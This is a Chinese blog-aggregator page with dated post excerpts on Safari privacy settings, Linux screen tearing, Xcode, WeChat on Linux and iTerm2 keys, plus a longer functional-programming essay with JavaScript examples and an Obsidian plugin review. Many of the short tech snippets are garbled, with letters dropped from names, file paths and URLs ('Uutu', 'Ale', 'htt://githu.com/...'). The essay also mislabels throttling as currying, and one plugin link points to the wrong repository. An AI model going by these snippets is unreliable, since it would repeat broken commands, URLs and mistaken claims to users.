- 博客 轶哥博客 2022-06-18 19:41:48<>在更新IOS版本（Beta16+）或MacOS版本（Beta13+）后，如果开启了iCloud+，由于默认的隐私保护选项，将有可能无法正常访问包括Biliili在内的很多网站，通常表现为
能显示标题，但是页面却始终处于 。<>这是由于在新版本的Safari for IOS及Safari for macOS中，都新增了加强型的隐私保护功能——正在加载中的状态隐藏IP地址。<>Ale对该功能的描述是：你的IP地址可用于确定你的位置等个人信息。为了保护此类信息，Safari浏览器可对已知跟踪器隐藏你的IP地址。 <>为了节约主服务器的带宽资源同时加速页面访问，很多网站经常会使用第三方CDN来加载一些常见的静态资源，例如字体、jQuery等JavaScrit库。<>由于该功能的开启，访问部分可能带有跟踪器功能的CDN资源将会陷入无限等待的状态。例如at.alicd.com、cd.jdelivr.et，将会一直请求但无法得到请求结果。<>解决此问题的方法很简单，关闭Safari的隐藏IP地址功能即可。该功能对国内用户来说意义不大。 - 博客 二丫讲梵 2022-06-18 05:11:58如要阅读全文，点击标题跳转。学习周刊-总第58期-2022年第23周
- 博客 轶哥博客 2022-06-16 23:11:48<>Uutu屏幕画面撕裂非常常见的问题。其实不光Uutu，只要是Liux系统都可能存在这个问题。以下解决方法在Deia、Liux Mit、Kali等不同发行版Liux通用。<>这里顺带说明一下，Uutu 20.04、22.10、22.04、18.04都可能存在图像撕裂这个问题，从原理上来说，这个问题是无法通过升级系统或安装更新的驱动程序来解决的。因此解决此问题也需要根据不同情况对症下药。<>画面撕裂的问题有可能跟Itel核芯显卡、Nvidia显卡、AMD显卡有关系，因此你需要先知道自己使用的设备搭载了哪款显卡。<>特地说明一下，虽然画面撕裂在网页和游戏中最为明显，在视频中也会有体现，但是Chrome和Firefox并未对Liux下的N卡适配硬件加速。也就是说，网页中播放视频CPU利用率高的问题和画面撕裂是两个问题，默认从官网下载的Chrome和Firefox并不支持GPU加速。解决画面撕裂和开启N卡A卡硬解无关。
- 博客 二丫讲梵 2022-06-15 01:21:26如要阅读全文，点击标题跳转。我写的的demo环境是通过docker-compose一键拉起的。因为服务器部署，与本地拉起测试有一些配置需要调整，于是打算用脚本做一下，这个时候发现执行带有通配符的命令会报如下错误
- 博客 MacTalk-池建强的随想录 2022-06-14 18:26:20之前我的朋友 Selina 在 InfoQ 的写作平台发布了一篇文章叫做《一个值 … Continue reading →
- 博客 轶哥博客 2022-06-13 17:13:09<>Xcode的版本总是和操作系统绑定，因此升级了到MacOS 13 eta（macOS Vetura）后Xcode13将不再可用。<>在安装MacOS 13 eta描述文件页面有提示：
<>在运行 macOS 13 Beta 版的 Mac 上构建 a 时，需要 Xcode 14 Beta 版。要使用Xcode 13构建应用程序，您可以在Mac上创建单独的卷并运行macOS 12。 <>升级到MacOS 13 eta后，在应用商店是没有Xcode 14 Beta版本的更新提示的。只能手工下载。<>下载地址： htt://develoer.ale.com/dowload/all/<>需要登录Ale开发者账号。 - 博客 轶哥博客 2022-06-12 23:00:42<>由于没有得到官方适配，在Liux中安装微信的最佳方案是使用Wie。<>借助开源项目htt://githu.com/zq1997/deei-wie，我们可以非常方便的在Liux中安装微信。只不过安装完成后设置缩放及绑定快捷键并非易事。特整理具体方法如下。<>以下方法在Uutu 22.04、Uutu 20.04、Kali Liux 2022.2（Deia）测试通过。
- 博客 二丫讲梵 2022-06-11 17:12:21如要阅读全文，点击标题跳转。学习周刊-总第57期-2022年第22周
- 博客 轶哥博客 2022-06-09 17:52:59<>在iTerm2默认配置下，使用vim/eovim时，与Alt相关的快捷键会全部失效【操作系统是macOS Vetura 13.0 Beta版(22A5266r)】。尚不清楚更老的版本是否存在同样问题。<>在vim/eovim中进入
:ma，发现快捷键绑定未现异常，检查快捷键配置lua写法也兼容当前环境并无报错。<>解决方法： <>右上角选择iTerm2-Preferece...，在打开的窗口中选择Profile，选中Default，右边选择Key-Geeral。<><>
Left Otio Key默认是Normal，改为Ec+即可。 - 博客 晚晴幽草轩 2022-06-08 21:21:00
在诞生近 70 年之后， 函数式编程（Functional Programming）开始获得越来越多的关注。并且随着时间推移、技术演变，它与前端开发，结合的也越发紧密；前些日子，读了些文章，对函数式编程有了粗浅的了解，并在代码上做了些实践，发现这种思想非常有趣，喜之不已。近日我女神对它突感好奇，于是乎，便结合业界已有之分享，结合自己理解与实践，梳理成文，以便解释。
备注：原文首发于：浅谈关于「函数式编程」的理解 ｜ 宜想悠然亭，@2022 年 05 月 30 日。
与非函数式的区别
非函数式的示例代码如下：
1234let counter = 0const increment = () => {counter++}123const increment = (counter) => {return counter + 1}你可能会觉得这个例子太过普通。但，这就是函数式编程的准则：不依赖于外部的数据，而且也不改变外部数据的值，而是返回一个新的值给你。
再看一段复杂一点，却较为 实用的代码示例 ：
12345678910111213141516171819202122232425262728293031const handleSearch = (_keywords) => {let queryResultArr;if (!_keywords) {queryResultArr = []} else {queryResultArr = getQueryResult(_keywords)}setQueryResultArr(queryResultArr)setIsShowResults(queryResultArr.length > 0)}const throttle = (fn, wait) => {let pre = Date.now();return function () {const context = this;const args = arguments;const now = Date.now();if (now - pre >= wait) {fn.apply(context, args)pre = Date.now()}}}const requestSearchFunc = throttle(handleSearch, 200)const handleInputChange = (event) => {const value = event.target.value;setKeywords(value)requestSearchFunc(value)}可以使用
throttle来节流函数，如：requestSearchFunc；这个技术其实就是 Currying 技术（把一个函数的多个参数分解成多个函数， 然后把函数多层封装起来，每层函数都返回一个函数去接收下一个参数这样，可以简化函数的多个参数）。从这个技术上，你可能体会到函数式编程的理念：把函数当成变量来用，关注于描述问题而不是怎么实现，这样可以让代码更易读。过程式 vs 函数式
过程式编程，主要要采取过程调用，或函数调用的方式来进行流程控制；它主要关注：一步一步地解决问题。这是完全有效的编码方式，但当您希望应用程序扩展时，它存在许多缺点。而函数式编程（ Functional Programming）关注的是：描述要做什么，而不是如何做（describe what to do, rather than how to do it）。
举例来说，对于一个英文名数组，需要将其中短横线命名，转化为大驼峰格式。基于传统过程式编程，可能你不会想太多，直接将想法用代码来表达出来，临时变量、循环语句，用的飞起：
1234567891011121314const nameArr = ['nice-jade', 'rayso-lee', 'jon-snow', 'arya-stark'];const newArr = [];for (let i = 0, len = nameArr.length; i < len ; i++) {let name = nameArr[i];let tempNameArr = name.split('-');let newNameArr = [];for (let j = 0, nameLen = tempNameArr.length; j < nameLen; j++) {let newFormatName = tempNameArr[j][0].toUpperCase() + tempNameArr[j].slice(1);newNameArr.push(newFormatName);}newArr.push(newNameArr.join(' '));}console.log(newArr)// [ 'Nice Jade', 'Rayso Lee', 'Jon Snow', 'Arya Stark' ]这是可以达成目标的答案，它完全面向过程；虽然在编码时候，能够将想法淋漓尽致表现出来。但对于阅读的人，十分不够友好。因为这中间夹杂了复杂的逻辑，充斥了大量临时变量、循环、状态变化等等；通常您需要：从头读到尾才知道它具体做了什么，而且一旦出问题，很难定位。当然，你也可以将如上代码，拆分成几个函数：
1234567891011121314151617181920212223242526const nameArr = ['nice-jade', 'rayso-lee', 'jon-snow', 'arya-stark']const capitalize = (str) => str[0].toUpperCase() + str.slice(1).toLowerCase()const convertName = (name) => {let tempNameArr = name.split('-')let newNameArr = []for (let j = 0, nameLen = tempNameArr.length; j < nameLen; j++) {let newFormatName = capitalize(tempNameArr[j])newNameArr.push(newFormatName)}return newNameArr.join(' ')}const getNewArr = (nameArr) => {const newArr = []for (let i = 0, len = nameArr.length; i < len; i++) {let name = nameArr[i]const newName = convertName(name)newArr.push(newName)}return newArr}const newNameArr = getNewArr(nameArr)console.log(newNameArr)// [ 'Nice Jade', 'Rayso Lee', 'Jon Snow', 'Arya Stark' ]如此一来，阅读代码时，需要考虑的上下文少了许多，也就更容易。不像第一个示例，如果没有合理的注释说明，你还需要花些时间来理解。而把代码逻辑封装成了函数后，就相当于：给每个相对独立的程序逻辑取了个名字，于是代码成了自解释的。幸好，在这份代码中，函数间调用，没有依赖共享的变量，否则将会更加复杂。但，仍是充斥了临时变量、循环，增加代码量的同时，也加大了理解之难度。
如果基于函数式编程思想，那会是怎样的代码呢？
123456789const { compose, map, join, split } = require('ramda')const nameArr = ['nice-jade', 'rayso-lee', 'jon-snow', 'arya-stark']const capitalize = (str) => str[0].toUpperCase() + str.slice(1).toLowerCase()const convertName = compose(join(' '), map(capitalize), split('-'))const newNameArr = nameArr.map((item) => convertName(item))console.log(newNameArr)// [ 'Nice Jade', 'Rayso Lee', 'Jon Snow', 'Arya Stark' ]如上代码（有借助 ramda ——「实用的函数式 JavaScript 工具库」来实现），虽依然把程序的逻辑分成了函数，不过这些函数都是 Functional 的。因为它们有三个症状：
- 它们之间没有共享的变量。
- 函数间通过参数和返回值来传递数据。
- 在函数里没有临时变量。
从这个编程思路，可以清晰看出，函数式编程的思维过程是完全不同的，它的着眼点是函数，而不是过程，它强调的是：通过函数的组合、变换去解决问题，而不是通过写什么样的语句去解决问题；当你的代码越来越多的时候，这种函数的拆分和组合，就会产生出更加强大的力量。
什么函数式编程？
函数式编程 ，或称函数程序设计、泛函编程（英语：Functional Programming），是一种编程范式，它将电脑运算视为函数运算，并且避免使用程序状态以及易变对象。比起指令式编程，函数式编程更加强调程序执行的结果，而非执行的过程；倡导利用若干简单的执行单元，让计算结果不断渐进，逐层推导复杂的运算，而不是设计一个复杂的执行过程。
在函数式编程中，函数是头等对象，意思是说一个函数，既可以作为其它函数的输入参数值，也可以从函数中返回值，被修改或者被分配给一个变量。
不仅最古老的函数式语言 Lisp 重获青春，而且新的函数式语言层出不穷，比如 Erlang、clojure、Scala、F#等等。目前最当红的 Python、Ruby、Javascript，对函数式编程的支持都很强，就连老牌的面向对象的 Java、面向过程的 PHP，都忙不迭地加入对匿名函数的支持。越来越多的迹象表明，函数式编程已经不再是学术界的最爱，开始大踏步地在业界投入实用。
也许继”面向对象编程”之后，”函数式编程”会成为下一个编程的主流范式（paradigm）。未来的程序员恐怕或多或少都必须懂一点。—— 函数式编程初探 @阮一峰 （2012 年）
函数，即是一种描述集合和集合之间的转换关系，输入通过函数，都会返回有且只有一个输出值。函数实际上是一个关系，或者说成一种映射，而这种映射关系是可
组合的，当知道一个函数的输出类型，可以匹配另一个函数的输入，那他们就可以进行组合。如上述代码中提及的convertName函数。在编程世界中，需要处理的逻辑，其实只有“数据”和“关系”，而关系就是
函数。一旦映射关系（函数）找到了，问题即能迎刃而解；剩下的事情，就是让数据通过这种关系，然后转换成另一个数据而已。函数式编程的特点
函数是”第一等公民”
所谓 “第一等公民” （First Class），指的是函数与其他数据类型一样，处于平等地位，可以赋值给其他变量，也可以作为参数，传入另一个函数，或者作为别的函数的返回值。如上文中代码：
1const convertName = compose(join(' '), map(capitalize), split('-'))无状态和数据不可变
无状态（Statelessness）和数据不可变（Immutable data），这是函数式编程的核心概念：
- 数据不可变：它要求你所有的数据都是不可变的，这意味着如果你想修改一个对象，那你应该创建一个新的对象用来修改，而不是修改已有的对象。
- 无状态：主要是强调对于一个函数，不管你何时运行，它都应该像第一次运行一样，给定相同的输入，给出相同的输出，完全不依赖外部状态的变化。
为了实现这个目标，函数式编程提出函数应该具备的特性：没有副作用和纯函数。
没有”副作用”
所谓”副作用”（side effect），指的是函数内部与外部互动（最典型的情况，就是修改全局变量的值），产生运算以外的其他结果。
函数式编程强调没有”副作用”，意味着函数要保持独立，所有功能就是返回一个新的值，没有其他行为，尤其是不得修改外部变量的值。
引用透明
引用透明（Referential transparency），指的是函数的运行不依赖于外部变量或”状态”，只依赖于输入的参数，任何时候只要参数相同，引用函数所得到的返回值总是相同的。
有了前面的第三点和第四点，这点是很显然的。其他类型的语言，函数的返回值往往与系统状态有关，不同的状态之下，返回值是不一样的。这就叫”引用不透明”，很不利于观察和理解程序的行为。
惰性执行
所谓惰性执行（Lazy Evaluation），指的是函数只在需要的时候执行，即：不产生无意义的中间变量。像上面👆的例子，函数式编程跟命令式编程最大的区别就在于：几乎没有中间变量，它从头到尾都在写函数，只有在最后的时候才通过调用
convertName产生实际的结果。尾递归优化
迭代在函数式语言中常用递归来完成，用递归来实现控制流程的机制，是函数式编程的一个非常重要的特点。我想您当然知道
递归的害处，那就是如果递归很深的话，stack 受不了，并会导致性能大幅度下降。所以，我们使用尾递归优化技术——每次递归时都会重用 stack，这样一来能够提升性能。尾递归的实现，其实是基于编译器的识别和优化的，编译器发现一个函数是尾递归，就会把它实现为与命令式编程中的迭代差不多的汇编码。函数式编程相关技术
- map & reduce ：这个技术不用多说了，函数式编程最常见的技术，就是对一个集合做 Map 和 Reduce 操作。这比起过程式的语言来说，在代码上要更容易阅读。（传统过程式的语言需要使用 for/while 循环，然后在各种变量中把数据倒过来倒过去的）这个很像 C++中的 STL 中的 foreach，find_if，count_if 之流的函数的玩法。
- pipeline：这个技术的意思是，把函数实例成一个一个的 action，然后，把一组 action 放到一个数组或是列表中，然后把数据传给这个 action list，数据就像一个 pipeline 一样顺序地被各个函数所操作，最终得到我们想要的结果。
- compose：它可以接收多个独立的函数作为参数，然后将这些函数进行组合串联，最终返回一个“组合函数”。
pipe与compose的共同点是：都返回“组合函数”，区别则是执行的顺序不同，前者是从左向右执行，后者则是从右向左执行。 - recursing 递归 ：递归最大的好处就简化代码，他可以把一个复杂的问题用很简单的代码描述出来。注意：递归的精髓是描述问题，而这正是函数式编程的精髓。
- currying：把一个函数的多个参数分解成多个函数， 然后把函数多层封装起来，每层函数都返回一个函数去接收下一个参数这样，可以简化函数的多个参数。在 C++中，这个很像 STL 中的 bind_1st 或是 bind2nd。
- higher order function 高阶函数：所谓高阶函数就是函数当参数，把传入的函数做一个封装，然后返回这个封装函数。现象上就是函数传进传出，就像面向对象对象满天飞一样。
函数式编程的意义
- 代码简洁，开发快速：大量使用函数，减少了代码的重复，因此程序比较短，开发速度较快；
- 接近自然语言，易于理解：函数式编程的自由度很高，可以写出很接近自然语言的代码；
- 更方便的代码管理：不依赖、也不会改变外界的状态，只要给定输入参数，返回的结果必定相同；
- 更少的出错概率：因为每个函数都很小，而且相同输入，永远可以得到相同的输出，测试也很简单；
- 易于”并发编程”：因为它不修改变量，所以根本不存在”锁”线程的问题；
- 代码的热升级：基于没有副作用特点，只要保证接口不变，内部实现是外部无关的。
函数式编程，结语
正如您在函数式编程中看到的，它希望使用小的（理想情况下是纯函数）函数来解决问题。这种方法也非常具有可
扩展性，并且函数可以重用。没有更好和更坏的范式。有经验的开发人员，可以看到每种范式的优点，并为给定的问题选择相对更合适的。过程式编程，并不是说你不能使用函数；函数式编程也不会阻止你使用“类”。这些范式，只是以一种随代码增长而有益的方式，来帮助解决问题。
所参考系列文章
猜您可能感兴趣的文章
- 博客 小胡子哥的个人网站 2022-06-05 10:52:30在湖南做了核酸，只有湖南的健康卡能看到核酸记录，浙江的看不到，原因好像是湖南做的没有上传到国家平台。数据通还真是一个国家难题。打了一个多小时的电话，联系了八个部门和单位，有几个结论：1. 省级数据需要上传到国家平台，数据才能互通2. 湖南核酸平台的数据跟国家平台不通，但好像又能通，这里有细节技...
- 博客 二丫讲梵 2022-06-05 00:41:13如要阅读全文，点击标题跳转。学习周刊-总第56期-2022年第21周
- 博客 轶哥博客 2022-06-04 16:15:39<>自Kali Liux2019.3起，默认的桌面环境被设置为Xfce4而不是GNOME。Kali Liux支持Xfce、GNOME、KDE、Elightemet、i3mw、LXDE、MATE作为桌面环境。<>Xfce默认的桌面环境中不包含针对
dekto图标的处理，因此安装de或者AImage等应用程序后，在默认的应用程序列表/菜单栏/应用程序启动器找不到程序图标。即安装应用程序后无法生成.dekto的图标，并且Home目录中没有.ico文件夹。<>具体表现为：安装应用程序丢失图标，无法通过应用程序启动器直接启动应用程序。 - 博客 小胡子哥的个人网站 2022-06-02 10:10:01端午回老家，五点起床，飞机转高铁，也算是够折腾的，本以为飞机会晚点，没料想非常准时。可千算万算没算到最后单程仅两刻钟的高铁竟然晚点两个小时，耽误了回家吃午饭。更悲催的是，看到火车晚点后，立马又改签到另外一班，结果晚点时间变得更长。瞬间就有了一种出门踩到狗屎的无奈。外头的天气也是见鬼一般跟人做对...
- 博客 二丫讲梵 2022-06-01 22:28:05如要阅读全文，点击标题跳转。混迹于互联网，或多或少难免都会与 GitHub 有交互，大多数时候在公司中积累的 git 使用经验都是面向 GitLab 的，也很容易想当然地将过往的经验套到 GitHub 中，而事实上还是有一些差别的，最近开源了几个项目，有一些还涉及到要与外部开发者协同工作，当我真正面对要处理一个 PR 的时候，内心是慌乱的，一时间不知道该从何处下手，这里就整理记录一下这方面的实践。
- 博客 二丫讲梵 2022-06-01 18:30:49如要阅读全文，点击标题跳转。当我们负责的项目有越来越多的人加入进行协作之后，将贡献者添加到 README 中是一个很好的激励作用，很多大的项目也都是这么做的，本文就来讲一下，如何借助 Github Actions 自动将项目贡献者列表添加到 README 中。
- 博客 轶哥博客 2022-05-31 22:35:11<>
<>VSCode支持根据操作系统的夜间模式和日间模式自动切换深色主题，无需安装插件，只需要点开左下角
设置，搜索auto detect选中上图所示的Auto Detect Color Scheme选项即可。<>直接编辑ettig.jo文件亦可，添加：quotwidow.autoDetectColorSchemequot: true,即可。需要注意配置文件中不能同时存在workech.colorTheme设置，否则将默认使用该值。<>支持Wi10、Wi11、MacOS。 - 博客 MiaoTony's Blog 2022-05-31 20:26:001056
- 博客 小胡子哥的个人网站 2022-05-30 09:25:16朋友准备离开杭州，一起吃饭，畅聊了四个多小时。生活都会驱使我们去追求很多东西，“放下”二字说起来是轻松的，但真的去放下时，又变得百般困难。所以我们需要有足够的智慧，去看清楚哪些是自己能够改变的，哪些是不能被自己所左右的。掰着手指头盘下来，自己能改变的最多的便是自己——心理、态度、行为、性格、习...
- 博客 二丫讲梵 2022-05-29 17:50:49如要阅读全文，点击标题跳转。我想，博客已经发表文章600篇，近90w字，总有些话想说，就把这里当做我的独白罢！
- 博客 二丫讲梵 2022-05-29 02:03:49如要阅读全文，点击标题跳转。学习周刊-总第55期-2022年第20周
- 博客 小胡子哥的个人网站 2022-05-27 11:28:14今天跟同事讨论养孩子，他家的十来岁，我家的四岁。我说四岁的孩子调皮捣蛋，干啥都不专注，得像个办法治一治，不然长大了就治不了了。最后讨论下来，问题的根源还是在家长，想让孩子专注，首先自己得有耐心，自己能保持专注。放下大人的身段，以一个孩子的心态跟她一起玩、一起学。心里的认知需要先跟上，以前总想着...
- 博客 构建我的被动收入 2022-05-27 08:00:00本文介绍多种并发模型包括锁、STM、CSP、Actor及I/O多路复用等，还有对Java、Go、Erlang/Elixir与Clojure等对这些模型的实现的介绍。
- 博客 小胡子哥的个人网站 2022-05-26 11:56:07MIT 协议是一个宽松的协议，它允许使用者对内容做几乎所有的操作，不做限制，唯有一点，必须保留版权声明，什么叫做保留版权声明？就是把 MIT 协议的这个文件或者链接保留在你引用源内容的地方。对于文章类可以采用 CC-BY 协议。有人说，我在网站上用了别人的开源产品，如何保留版权声明呢？有两种方...
- 博客 小胡子哥的个人网站 2022-05-25 10:03:27对于一个决策者来说，他最大的权利就是可以选择要什么和不要什么，也就是取舍权。而不得不去做的，便是行使自己的取舍权。不要以为什么都不做就是不决策，这也是一种决策——主动放弃自己的决策权，让渡给其他人。如果一个决策者连决策权都让渡了，久而久之，那他就不再是决策者了。而天天喊着既要、又要、还要的人，...
- 博客 小胡子哥的个人网站 2022-05-25 03:34:30早上刷到一条视频，搜狐张朝阳说：“这个世界上没有困难的事情，难是因为你觉得它难”。任何一件复杂的事情都可以被分解成多个步骤，而每个步骤完成起来，就像早上起床、刷牙、吃饭、打车一样简单和自然。之所以觉得进入一个新的领域很困难，是因为还不够熟悉它，没有经历过复杂任务的拆解过程，没有把那些还未执行过...
- 博客 小胡子哥的个人网站 2022-05-24 12:42:06建立在不以自我为中心，尊重客观事实而非主观臆断的沟通才能称之为非暴力沟通。“你这个想法不对”，想法的对错不建立在个人判断之上，你认为的不对，在其他人眼里可能是对的，改成“我的想法跟你不一样，我是这么考虑的…”，这就是非暴力。“你听懂我说的话了么？”，这是以自我为中心，没有听懂有可能在多个环节出...
- 博客 二丫讲梵 2022-05-24 06:26:48因为首页只展示最近更新的十篇文章，过多优秀的文章不能都置顶，因此单独一篇文章，将博客中精华内容罗列于此。
- 博客 小胡子哥的个人网站 2022-05-24 03:10:18很多人只知道阿里的绩效有 3.25/3.5/3.75 三档，但是不知道其实还有 4 和 5（系统里没有体现出来），工作七八年，有见过几个拿 4 的同事，基本都是因为作出了一些开创性的、杰出的贡献。之前有看到讨论，说有些海外的同事上来就给自己打一个 5 分，他们脑子里想的是，设置了 5 分不就是...
- 博客 小胡子哥的个人网站 2022-05-23 11:39:13小伙抱怨，二本毕业各种行业都干过，最后仍是厂里拧着螺丝钉月薪 5k 熬着日子，早知如此，还不如高中毕业直接参加工作，还能省却大学四年 15w 的开销。九年义务教育的普及让整个社会的受教育程度越来越高，可以这么说，如今的二本跟父辈的高中水平是差不多的，而即便是重点大学毕业，也无法与当年的杂牌专科...
- 博客 二丫讲梵 2022-05-22 19:23:33如要阅读全文，点击标题跳转。古代治学总结有人生三境界，在我看来，Jenkins 使用接入亦有三个阶段，这也是每一个运维人员应用 Jenkins 所必须要经历的。
- 博客 二丫讲梵 2022-05-22 06:43:44如要阅读全文，点击标题跳转。新的Jenkins测试环境通过docker搭建，官方镜像的基础镜像使用的是Debian系统，在执行到一些shell步骤的时候，总是会报如下错误
- 博客 小胡子哥的个人网站 2022-05-22 06:24:38打开手机，看到了好些低靡、悲观、消极的情绪疫情，裁员，经济下行，形式不太好在思考自己站在什么位置，受到了哪些影响但似乎也还好生活还在继续，做好自己，让存在多一些意义
- 博客 二丫讲梵 2022-05-21 22:52:29如要阅读全文，点击标题跳转。学习周刊-总第54期-2022年第19周
- 博客 二丫讲梵 2022-05-19 04:52:22如要阅读全文，点击标题跳转。基于Go+Vue实现的openLDAP后台管理项目。
- 博客 二丫讲梵 2022-05-18 00:57:37如要阅读全文，点击标题跳转。准备给开源项目做一个镜像，由于当前使用的是 M1 型号的 Mac 电脑，打出来的镜像无法运行在 AMD 架构之上，但是在 dockerhub 上又见过一些比较大的项目的镜像，支持多平台，因此就了解了一波，本文记录一下实操过程。
- 博客 二丫讲梵 2022-05-17 21:58:24如要阅读全文，点击标题跳转。通常我们会通过docker-compose快速拉起一个openLDAP的测试环境用于一些功能的验证或调试，但是有一些基础数据，没必要总是反复创建，比如两个基础组织用户与分组，所以我就考虑如何能够将这两个创建做到容器启动的过程中。
- 博客 小胡子哥的个人网站 2022-05-16 12:54:28热爱争论的人可以分为两类，一类是期望通过争论来完善自己的理论，另外一类是享受争论的过程。第二类人，不要和他争论，你争得面红耳赤，他却乐在其中。表达固然重要，但更重要的是倾听。聊完之后，赶紧忘记自己说过的话，回到对方的语境之中，理解了对方的观点以后，再把自己讲过的东西捡回来。反刍的作用就是更充分...
- 博客 小胡子哥的个人网站 2022-05-16 10:50:12工作中最害怕的是为了解决一个问题，引入一些机制或者规则，而在这个机制或者规则之下，又会多出来新的问题。所以我们去评估一个解决方案的效果的时候，需要从三方面去看待：当前问题是否得到改善，改善程度如何新的机制或者规则是否足够好，引入了哪些新的问题存量的问题在新的规则下如何得到妥善处理打个比方，产品...
- 博客 小胡子哥的个人网站 2022-05-15 09:02:09KPI 需要量化，量化的数字越具体，行动点越明确，那么事情做起来目标感就会越强。这也带来了另外一个问题，大家会把思考都聚焦在这个数字上，去想其他东西的时间变得越来越少。想在 KPI 的文化下把创新做好，是比较有挑战的事情，主要依靠那些除了能够把 KPI 做好，还有余力去思考更多价值的人。OKR...
- 博客 二丫讲梵 2022-05-15 07:12:02如要阅读全文，点击标题跳转。学习周刊-总第53期-2022年第18周
- 博客 晚晴幽草轩 2022-05-14 16:21:00
沈从文先生在给张兆和的情书中，有写道：“我一辈子走过许多地方的路，行过许多地方的桥，看过许多形状的云，喝过许多种类的酒，却只爱过一个正当最好年龄的人”。近十年，写文章或文档，用过非常多基于 Markdown 出色的文本编辑工具，诸如 Sublime Text 、 Cmd Markdown 、 MarkEditor 、 Typora ， Arya 在线 等等，直到遇见 Obsidian ，被强大的功能、完美的设计所震撼、折服，堪称地表最强文本编辑工具。
Obsidian 是一个强大的知识库、一款好用的笔记应用程序，位于纯文本
Markdown文件的本地文件夹之上。其目标是：永远成为你第二个大脑。人脑是非线性的：人们总是从一个想法跳到另一个想法。你的第二个大脑应该同样工作。在 Obsidian 中，建立和跟随连接 是无摩擦的。像园丁一样照顾你的笔记；在一天结束时，坐下来惊叹于您自己的知识图谱。── 出自 倾城之链 | Obsidian 。
Obsidian ，它不仅是极其好用的文本编辑工具，而且还是一款强大的知识库；但，在这里就不对知识库作探讨，主要就其极致的文本编辑体验，结合自己短暂的实践体验，来跟朋友们分享下 Obsidian 的优势：
- 默认所见即所得（wysiwyg）的编辑模式；
- 支持粘贴 HTML 自动转换为 Markdown；
- 所有操作默认有快捷键，并且方便自行更改；
- 应用打开极快，操作流畅，所占用内存很少；
- 100% 免费供个人使用，无需账户或注册；
- 支持扩展，社区已贡献有 近 600 个插件 ；
要着重称赞的就是 Obsidian 的插件，这在 Markdown 编辑器工具中是少见的。首先，这种机制本身就很赞，不将所有功能，都集成于应用本身，而按需给予，善莫如是，使其能在轻量与强大中平衡；其次，有了这种机制，即能允许用户介入，参与贡献，无疑是为产品功能丰富，提供了绝佳的途径。
备注：Obsidian 插件，安装与使用，都非常方便；前往 Obsidian Plugins，检索您想要的插件；如果您已安装并打开 Obsidian，点击
Open in Obsidian，即可快速在 Obsidian 中，打开该插件；点击install安装之后，再点击enable即可启用该插件（如下截图）。对于有需要按键才能作用的插件，您还可以修改快捷键以及其他设置参数。
下面，跟大家分享些个人所喜欢的插件：
ADVANCED TABLES ：改进的表格导航、格式化和操作
Add improved navigation, formatting, and manipulation to markdown tables in Obsidian
Markdown 的表格语法比在 Word 中插入表格还要麻烦，一旦想要增改某个内容，更是灾难。该插件则大大简化了表格输入的流程。
要创建表格，请创建一个
|字 符，然后键入表格的第一个标题并按Tab，就会触发插件的自动补全语法。之后通过Tab/Shift + Tab来在表格之间移动光标，通过Enter完成输入；顷刻之间，就能写完您想要的表格，实在是完美。
如果您想了解更多，可参见 Github 源码： tgrosinger/advanced-tables-obsidian 。
OBSIDIAN PANGU ：改进中英文间距
为 Obsidian 笔记加上「盘古之白」，排版强迫症者的福音。 | A small plugin aims to add space between Chinese Characters and English Alphabet, and it is a boon for typographically compulsive people.
这个小插件，旨在增加汉字和英文字母之间，添加空格，使得整个排版更加专业且美观；这对于排版强迫症的人来说，是一个福音（我个人非常喜欢，先前是借助 Prettier 或其他工具，来实现）。
如果你想了解更多，可以参见 Github 源码： Obsidian Pangu Plugin 。
Editor Syntax Highlight ：代码高亮
A plugin for Obsidian which allows syntax highlighting for code blocks in the editor.
这对于程序员（软件开发）来讲，非常有价值；它能让编辑界面的代码，页面的元数据都有高亮效果；而且支持的格式极多，如
xml、json、ts、js、html、css、python、bash等等。值得一提的是，在代码区域，可以放心使用Tab按键，无需担心会清空你选中的代码，其效果跟在代码编辑器中是一致的，体验极佳。
如果你想了解更多，可以参见 Github 源码： Editor Syntax Highlight Obsidian Plugin 。
Kanban ：看板模块
Create markdown-backed Kanban boards in Obsidian
Kanban，这款插件可以为 Obsidian 增加看板模块；让你可以使用看板，来管理任务或笔记。它有两种看板创建方式：使用命令添加新的看板，也可以使用右键菜单创建；而且可以在 Markdown 和看板中，随时切换，如果你想要用 Obsidian 管理日常任务的话，它是非常好的插件。
关于如何创建和使用看板，可参见： 创建看板 ；最简单的方式是：右键单击文件夹，并选择
New Kanban board。值得一提的是，Obsidian 的看板功能，其使用体验，在笔者看来要比 Giuhub 、 Gitlab 、 Trello 要用很多，强烈推荐。如果你想了解更多，可以参见 Github 源码： Advanced Tables for Obsidian 。
Outline：文件大纲（官方插件）
Display the outline of current file or linked pane
Outline 是一款大纲插件，可以根据标题自动为 Obsidian 文档生成目录大纲，可以快速预览所有标题，也可以用来快速跳转到指定位置，如果你经常写长文章的话会非常有用，Outline 是官方插件，到核心插件中启用即可自动开启。具体操作为：打开设置（
command + ,） => Core Plugin => 发起检索Outline=> 选择开启。Mind Map ：思维导图插件
This repository contains a plugin for Obsidian for viewing Markdown notes as Mind Maps using Markmap.
Mind Map 是一款
思维导图插件，它可以为你的 Markdown 文本转换为思维导图，可以更清晰地查看文章的结构和内容，还支持一些简单的操作，比如放大缩小、拖拽、收起展开节点等，你还可以一键复制思维导图图片，分享或保存到其他位置。
如果你想了解更多，可以参见 Github 源码： Obsidian Mind Map 。
Paste URL into selection ：快速插入链接
Insert links (URLs) into a selected text “notion-style” using regular
Ctrl/Cmd + V当想要在鼠标选中的单词上插入 URL 时，基于 Markdown 语法，并不是很方便；此时你可以安装
Paste URL into selection这款插件；启用该插件后，只需要选中文字再Cmd + V（orCtrl VWindows 系统） 键，就可以直接添加链接，比富文本编辑器中操作，还要方便许多。如果你想了解更多，可以参见 Github 源码： Paste URL into selection 。
Checklist ：待办任务增强
Consolidate checklists across all files into a single view
Checklist 是一款待办任务增强插件，它可以为 Obsidian 的侧边栏增加一个任务栏，你可以在该栏目下查看到所有笔记中的待办任务，可以快速跳转到任务的位置，也可以直接在任务栏上勾选完成任务。其用法如下：
- 启用此插件后，您将看到清单出现在右侧边栏中；
- 您标记的任何清单项目块都
#todo将显示在此侧边栏中； - 您可以通过在编辑器中勾选它们（例如
- [ ]->- [x]）或单击侧栏中的清单项目来完成清单项目，这将为您更新.md文件；
如果你想了解更多，可以参见 Github 源码： obsidian-checklist-plugin 。
Calendar：日历📅
This plugin for Obsidian creates a simple Calendar view for visualizing and navigating between your daily notes.
Calendar 是一款为增强 Daily notes 而制作的日历插件，它可以在侧边栏上增加日历模块，你可以用它来快速跳转到特定时间的每日笔记，而且你还可以用它来为没有每日笔记的日期创建笔记，可以为之前的日期创建，也可以创建未来的笔记。其用法如下：
